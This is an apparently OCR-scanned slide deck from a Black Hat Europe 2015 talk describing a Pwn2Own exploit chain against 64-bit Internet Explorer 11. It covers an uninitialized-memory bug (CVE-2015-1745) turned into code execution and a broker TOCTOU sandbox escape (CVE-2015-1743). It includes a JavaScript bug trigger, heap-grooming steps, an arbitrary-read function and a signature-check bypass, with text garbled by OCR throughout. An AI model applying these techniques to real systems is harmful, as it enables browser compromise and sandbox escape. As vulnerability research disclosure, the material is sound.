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e Background
* From Uninitialized memory bug to RCE
— CVE-2015-1745

* Bypass EPM Sandbox
— CVE-2015-1743
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Who are

v’ Security Researchers

v 86 Vulnerability
Acknowledgements from
Microsoft (Dozens from
Apple/Adobe...)

v’ Microsoft mitigation bypass SEDIV_JCEH

reward
v Pwn20wn 2015

v’ Syscan/BlackHat/HITCON/
Syscan360/POC

v Qihoo 360 — The largest
Internet Security Company in
China
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* This year’s IE target is a bit difficult
— 64-bit process
— Bypass EPM without restart/relogin
— New Mitigations: Isolated Heap, Deferred Freed, CFG
— EMET
— Rule announced before Chinese new year holiday

Chaouki Bekrar eb 1¢
Pwn2own 2015 is a joke: reduced prices but raised difficulties (64bit apps.
EMET, sandboxes, no logoff/logon, etc). Let's wait for 2016...
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From Uninitialized memory
bug to RCE

CVE-2015-1745
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* One category of memory corruption bugs
“Uninitialized memory data is used in program,
leading to unpredictable result”

Uninitialized heap memory:
int *unitialized _heap_buffer = (int *)malloc(10 * sizeof(int));
Int unitialized _value = unitialized _heap_buffer [0];

Unitialized stack variable:
int unitialized _stack_buffer[10];
Int unitialized value = unitialized _stack _buffer[10];
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e Common bugs in code
 Enemy of ASLR

* Not that often, brings us nice exploits
— CVE-2012-1889 (IE msxml bug, poc exploit by VUPEN)
— CVE-2014-8440 (Flash uncompress bug, exploited in the wild)

— CVE-2015-0090 (Windows ATMFD font driver uninitialized
kernel pool pointer, by Mateusz Jurczyk )
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* Found by fuzzing

* Credit @holynop

* uninitialized CAttrValue in CAttrArray

* A CAttrValue can be accessed before initialize



O

black hat

EUROPE 2015

e DOM elements can have attributes

element. setAttribute(‘foo’, ‘bar’); // set attribute
element. getAttribute(‘foo’); // get attribute

* CAttrValue

- inner data structure for an attribute
* CAttrArray

- array to store CAttrValues
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blS&khat CAttrValue

e CAttrValue can contain value of variant
e vtType filed indicates data type

Class CAttrValue { enum VARENUM {
Byte bl; VT_EMPTY = 0,
Byte vtType; VT_NULL =1,
WORD wil; VT_I2 = 2,
DWORD dispid; VT_I4 = 3,
Union { VT_R4 = 4,
ULONG *pulong; VT_RS8 = 5,
BSTR bstr; VT_CY = 6,
VARIANT *variant; VT_DATE =7,
} value; }
}

https://msdn.microsoft.com/zh-cn/library/windows/desktop/ms221170(v=vs.85).aspx



https://msdn.microsoft.com/zh-cn/library/windows/desktop/ms221170(v=vs.85).aspx
https://msdn.microsoft.com/zh-cn/library/windows/desktop/ms221170(v=vs.85).aspx
https://msdn.microsoft.com/zh-cn/library/windows/desktop/ms221170(v=vs.85).aspx
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var div = document.createElement('div’);
div.setAttribute('aaa’, '111°);

0:021> dg 0000007b° 19cd1350
0000007b°19cd1350 00007ffb° 2cchad38 00000001° 000000071
0000007b"19=d1360 000000007 00000008 |0000007b° 14034780

CDivElement—>CAttrArray

0:021s dg 0000007b°
0000007b° 1d03d780

1d03d780

000000017 00000010 |0000007b"1d02£chb0

e

1:021> db 0000007b°
J000007b" 1d02fch0
1000007b° 1d02fccO

1d02fch0
08] 00 80 7b 00 00 00-cl c6 2d 00 00 00 00

Tjﬁttrﬁrray—}pElementa
(Array of CAttrValue)

00
04 54 88 B8a eb 1lc c9 11

):021> du 000007b°1b976ad8

J000007b" 1b976ads "111"
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// 1. Set some Attributes in document.all[8]
document.all[8].clearAttributes()
document.all[8].setAttribute("aaa", ©xa);
document.all[8].setAttribute("bbb", ©xb);

document.all[8].setAttribute("bbbl", ©xc);
document.all[8].setAttribute("bbb2", ©xd);
document.all[8].setAttribute("bbb3", ©xe);

// 2. Set some Attributes in document.body
document.body.clearAttributes()
document.body.setAttribute("aaa", document.body.childNodes);
document.body.setAttribute("ccc","666666666666666666666666666") ;

// 3. Call mergeAttributes, a new CAttrArray will be allocated to store the merged attributes,
// one entry in the new allocated CAttrArray is not initialized
document.body.mergeAttributes(document.all[8], false);
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document.body.mergeAttributes(document.all[8], false);

Allocate a new CAttrArray which have 9 CAttrValues

e

CAttrArray[4] is skiped during the merge (because of the bug), and will be uninitialized

CAttrArray
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v Leak memory address

v’ Create fake attribute to gain arbitrary read
v’ Create fake array to gain arbitrary RW

v Bypass CFG/EMET

v'Win




O

blackhat Control

EUROPE 2015

* The very first thing we have to do is to control
the data in the uninitialized memory

e How?
— Alloc -> Free -> Alloc -> Control
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Alloc bl
Free bl Content left by b1 (not cleared)
Alloc b2
Access I
Uninitialized ___centrolled !

Memory
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* bl and b2 should be in the same heap

e Content of b1l should not be cleared after b1 is freed

— MemoryProtect::Free ®
— SysFreeString ©
* Content of b2 should not be set to zero when
allocate b2
— cmalloc ®
— HEAP_ZERO_MEMORY in HeapAlloc ®

— CAttrValue array allocated via HeapAlloc with out
HEAP_ZERO MEMORY - Lucky! ©
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e Now we can control the content of a
CAttrValue — With what?

value
CAttrValue type Point to string data, object, ...
l L Ox??2?7?2?7??°
Set To some

In 32-bit IE, we can do a heap-spray,

pointer related type then point it to somewhere like 0x0cOcOcOc

(string, object, int_ptr,...)

But in 64-bit process, simple heap-spraying does not work
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0:003: lheap
Index Addre== Hamne

40 bits

63 [0

B?EaDDDD

EBBEBDDDD
EI3240000
692710000
E3fb=0000

III-IIIIIIH} Im AR bits
=tart nd

AOOO7E£7 EchDEEHEDDDD?ff?
O0007ffc 95t£0000 00007 ffc”

HJCI'“-I'_I'Il-I‘-'-I'_A_'IMI—"

o0007ffc 99320000 00007ffc”
o0007ffc" 99=40000 00007 ffc”
ooo007ffc" 9B950000 O00007ffc"

Debugging option=s enabled

2dd4380010
99311000
998=b000
b4 260010
9=712000

module name

iexplore (deferred)
Wpc (deferred)
j=criptd (deferred)
MSHTHML (private p

IEFEAME ideterred)

Assume a successful heap-spraying on 32-bit needs 200M bytes,
Then on 64-bit you need to spray more than 50G bytes



We need an
information Leak
First
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* Directly leak address of interested data

— If you are lucky enough to have such a bug ©

* Leak address of some data in the same heap
+ Some kind of Heap Fengshui
= we can guess the address of interested data
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* Allocate some (300 +) Attribute Arrays
* Each Attribute Array contains 9 attributes

(same with the uninitialized CAttrArray after mergeAttributes)
* The 4t attribute in the array points to a string

which is 0x30 bytes in memory

| > JAVAVAVAVAVAVAVAVAVS

xouxlif.cee = str 0x30 bytes string
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* Free half of these Attribute Arrays
* The content of the freed Attribute Arrays
will not be cleared

Freed

> JAVAVAVAVAVAVAVAVAYS

0x30 bytes string
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* Trig the bug, allocate vulnerable CAttrArray with
uninitialized CAttrValue

* The 4t CAttrValue will be a string attribute
that points to the 0x30 bytes string

document.body.getAttribute(“ccc”) gets a String attribute

> JAVAVAVAVAVAVAVAVAVN

0x30 bytes string
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* Free the 0x30 bytes string

* Spray runtimestyle objects to reuse the memory

e Read the uninitialized CAttrValue out to leak a
pointer to the runtimestyle style attribute array

> JAVAVAVAVAVAVAV.VANN

0x30 bytes string

document.body.getAttribute(“ccc”) leak
Gets a String attribute _
‘ Runtime Style Array

runtimestyle
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Allocate After Runtime Style Array

|

A

About 0x20000 bytes

The relative spray:

runtimestyle_array _addr + 0x2000000
= address of one of the IntArrays
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 We leaked the address of an IntArray in memory
 What we can do with this?

v We can make uninitialized CAttrValue points into the array
v’ Means we can make fake CAttrValue of any types!

e Let’s party!
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 We trig the bug for the second time

— Using string to control the uninitialized CAttrValue

Tips:
We use JS 5.8 string
whose content will not be cleared after it is freed
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Allocate String

Freed String
(data remained)

l Trig the bug

Attribute Array

]

Uninitialized CAttrValue

type

value

(controlled by string data)

l

OxOc == VT_VARIANT

L) Point to leaked IntArray

Fake Variant data in
IntArray
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Leaked Javascript Array
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biS&khat VT VA

e Variant is a data structure that can represent

various types of data
— Int, Boolean, Long, ...
— IntPtr, UintPtr,...
— Array
— Object
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Make a fake UINT_PTR variant

Pointer to uint32

Point it to any address that
we want to read

0x4013 = VT_BYREF | VT_UlI4
Means pointer to uint32

function readUI4(addr_high, addr_low) {
arr_arr[arr_arr_index][0] = 06x00004013
arr_arr[arr_arr_index][2] = addr_low
arr_arr[arr_arr_index][3] = addr_high
return parseInt(document.all[9].getAttribute("ccc"))
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* The go-to way in |IE exploitation
— Corrupt the length filed of a javascript array

* A crazy idea - Make a fake JavaScript IntArray

— Copy necessary fields (vftable, members,...) from a real
IntArray with the arbitrary read primitive to our fake array

— Except that our fake array have a large length (0Ox7fffffff) ©



pisekhat Achieve Ar

EUROPE 2015

Pointer to fake IntArray object

0x09 = VT_DISPATCH Fake IntArray
Means object with Idispatch Interface Length = Ox7fffffff

Copy data from normal array to fake array
with the arbitrary read primitive

The javascript array
we leaked previously

Real

Array
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* |f you have arbitrary memory R/W, CFG/EMET
is not a big problem
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e Call valid APIs

* Find stack address

* Overwrite the stack

* Use direct calls

* No execution flow control

* Legacy modules which are not compiled with
CFG
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- (2 iexplore exe 005  64bit 3436 Medium
-1 [ 2iexplore.exe ' - =l
|J = =
= L procexp exe 32-bit Ve
L procexp 64 exe 1.37 B4-bit 3860 Medium

EHiusched exe 32bit 3576 Medium

Not yet...
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Bypass EPM Sandbox

CVE-2015-1743
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* Enhanced sandbox mode which is not enabled
by defaultin IE11

* Great sharing and study materials by James

Forshaw

— <<Legacy Sandboxing: Escaping IE11 Enhanced Protected Mode>>
— https://github.com/tyranid/IE11SandboxEscapes
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* Uses Windows 8 AppContainer to further
restrict what sandboxed process can do

- (2 ienplore exe 005  64bit 3436 Medium
= Eie;plnre.exe ' : '
ol <

= L procexp exe J2bit o VIEd
L procexpbd exe 1.37 64-bit 3860 Medium
Eiusched exe J2bit 3576 Medium
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e TOCTOU bug in IE Install Service Broker
* Credit @pgboy

e What is the Broker Service?

— Broker interface provided by Medium Integrity processes

— So that protected mode process (like IE sandboxed process)
can access to some restricted resource
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 Broker service for IE to install Add-ons
(ActiveX Controls)

8 Registry Editor - o IEN
File Edit View Favorites Help
:4 Low Rights A || Name Type Data
i 5] (Default) REG_SZ alyenc
/ Ele\g;zzg:éyoggF 40TF-BOOB-5B3B0001DAR) || . PPName e
y ' ab| AppPath REG_SZ :\Program riles\Internet Explore|

{02E6771D-8375-42B9-9F83-B4730F697900}
{04135213-eab4-4c45-99af-70d7d8e902ec)
{054aae20-4bea-4347-8a35-64a533254a9d}
{07d873dc-b9b9-44f5-af0b-fb59fa54fb7a}
{11385062-b949-46a7-bbc0-ee26499f deaf}
{186€0934-aee9-11da-961b-0014223d2a70}
{186€0935-aee9-11da-961b-0014223d2a70}
{1F1E561D-AF17-4510-B996-351BBAD862AT}
{2391d819-9d17-44ec-9ac1-f62a07549469}

. {26fe7361-bd5a-4dch-b309-c6f42dde661c}|
{2decd925-1312-4d7f-a6f5-89272d248d cf}
{357FBER7-6CBE-490D-A059-4746CR64AEEF)
{38f2c092-34df-4c12-9d9%e-c9679bf0ab31}

.( . . > < >

Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{26fe7361-bd5a-4dcb-b309-c6f42dde

Sio| Policy REG_DWORD 0x00000001 (1)

i
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struct _ declspec(uuid("BCOEC710-A3ED-4F99-B14F-5FD59FDACEA3")) ITeAxiInstaller2 : IUnknown
{

virtual HRESULT STDMETHODCALLTYPE VerifyFile(BSTR, HWND__ *, BSTR, BSTR, BSTR, unsigned i
virtual HRESULT STDMETHODCALLTYPE RunSetupCommand(BSTR, HWND__ *, BSTR, BSTR, BSTR, BSTR,
virtual HRESULT STDMETHODCALLTYPE InstallFile(BSTR sessionGuid, HWND _ *, BSTR sourcePath
virtual HRESULT STDMETHODCALLTYPE RegisterkExeFile(BSTR sessionGuid, BSTR cmdline, int unk
virtual HRESULT STDMETHODCALLTYPE RegisterDl1lFile(BSTR, BSTR, int) = 0;

virtual HRESULT STDMETHODCALLTYPE RegisterDl11File2(BSTR, BSTR, int, int) = ©;

.

3 Steps to install a exe file:
VerifyFile -> InstallFile -> RegisterExeFile
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L BB -
Instal ‘2&&‘4

lleAxilnstaller2Ptr installer;

installer->VerifyFile(...);
installer->InstallFile(...);

installer->RegisterExeFile(...);



L

3 ® | N /¥
g!ég:plélalg; Install A.e m 5}’;.@.‘\‘

1. VerifyFile

> NO
Signature Valid? > Fail
Medium Integrity Level?
a.exe
2. InstallFile Copy a.exe to MyFolder

3. RegisterExeFile l CreateProcess(“MyFolder\a.exe”)
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* File validated in stepl

* |n step3, before actually executing the file,
it does not validate it again!
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1. VerifyFile
EXE >
Verify OK

iexplore.exe
(any valid signed file)

2. InstallFile 1 Copy iexplore.exe to MyFolder

| iexplore.exe

MyFolder

3. RegisterExeFile l

CreateProcess(“MyFolder\iexplore.exe”)
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e We need to overwrite the file in the
destination folder

* |E sandboxed process can only write to
AppContainer folder

* If the file is dropped and executed in

ow-integrity level folder, it will also be
ow-integrity process

e We need to be able to write an executable file
to a medium-integrity folder
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= [m " svchost exe 628
» ' Runtime Broker.exe
m | svchost exe 672

EXTERN C const IID IID IFlashBroker;
#if defined(__ cplusplus) && !defined(CINTERFACE)

MIDL_INTERFACE("2E4BB6BE-A75F-4D(0-9500-68203655A2C4")
IFlashBroker : public IDispatch
{
public:
virtual /* [id] */ HRESULT STDMETHODCALLTYPE BrokerCreateFile(
'* [in] */ BSTR pFileName,
* [in] */ long p_readOnly,
* [in] */ long p_truncateOnOpen,
[out] */ unsigned long *p fileCookie) = 0;

virtual /* [id] */ HRESULT STDMETHODCALLTYPE BrokerCloseHandle(
* [in] */ unsigned long p_fileCookie) = 0;

virtual /* [id] */ HRESULT STDMETHODCALLTYPE BrokerSetFilePointer(
'* [in] */ unsigned long p_fileCookie,
* [in] */ long p_distanceToMove,
* [in] */ unsigned long p_moveMethod,
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e Have broker interfaces to write file

* Can only write to pre-defined folders
— C:\Users\xxx\AppData\Roaming\Adobe (Not low integrity!)
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.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:

1003AE48
1003AE4C
1003AES0
1003AE54
1003AES8
1003AESC
1003AEGO
1003AE64
1003AEG8
1003AE6C
1003AE70
1003AE74
1003AE78
1003AE7C
1003AE80
1003AE84
1003AE88
1003AESC
1003AE90
1003AE94
1003AE98
1003AE9C
1003AEA0Q
1003AEA4
1003AEA8

off_1003AE48

dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd

offset
offset
offset
offset
offset
offset
offset
offset
offset
offset
offset
offset
offset
offset
offset
offset
offset
offset
offset
offset
offset
offset
offset
offset
offset

a_txt
a_sor
a_sol
a_ssr
a_ssl
a_sxx
a_xml
a_ahd
a_dat
a_swz
a_heu
a_tmp
a_s
a_directory
a_png
a_sss
a_gs
a_mgd
a_lkg
a_lic
a_vch
a_dll e
a_meta
a_ico @
a_json

5 "o IXT™
; ".SOR"
3 ".SOL"
; ".SSR"
5 "oSSL”
3 SXX"
3 e XML"

; " AHD"
5 ".DAT"
3 ".SWZ"

; " HEU"
3 . TMP"
3 TS

; " .DIRECTORY"
; " .PNG"
; ".SSS"
5 " «GS”

; ".MGD"

3 ".LKG"
3 ".LIC"
; " JVCH"
3 "eDLLT
; ".META"
; ".ICO"
; "+JSON"
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CreateProcess Will Check EXE File Automatically

e CreateProcess( “1.tmp” )
* CreateProcess( “1.jpg” )
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* In BrokerWriteFile, it checks whether you are
trying to write a PE file by checking the
Dos sianature ((‘MZ’) ) and PE signature (‘PE’ )

if ( (unsigned _ int8)sub 1000BFAC(v6, *( DWORD *)(v4 + ©x14), psa->i

*(_BYTE *)(v4 + 9) = *((_BYTE *)ppvData + v14) == 'M’;
if ( *(_BYTE *)(v4 + 9) )
{
if ( (unsigned  int8)sub 1000BFAC(1, *( DWORD *)(v4 + ©x14), psa-:
*(_BYTE *)(v4 + 9) = *((_BYTE *)ppvData + v14) == 'Z°;

if ( *(_BYTE *)(v4 + 9) )
{
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* Don’t write Dos signature (‘MZ’) at the first time

* Later, use BrokerSetFilePointer to get back,
and write Dos signature (‘MZ’)
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705 NP1t b ittt
=) L procexp.exe

L procexp64.exe
=/ [ cmd .exe

M conhost .exe
= & iexplore exe

;_| cal .

2.11

0.10

e WL

32-bit
64-bit
64-bit
64-bit
64-bit

WTETT T

1440 Medium
1432 Medium
4284 Medium
4256 Medium
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Demo
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* Blackhat
* Zero Day Initiative

 Guys in 360 vulcan Team
- MJOO11
- pgboy1988
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* Bug Hunting

* Vulnerability Exploitation

* APT Analysis and Discovery
* 360vulcan@360safe.com
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* Exploit skills in 64-bit browser
* Using Uninitialized bug to achieve RCE
 Using TOCTOU bug to bypass sandbox
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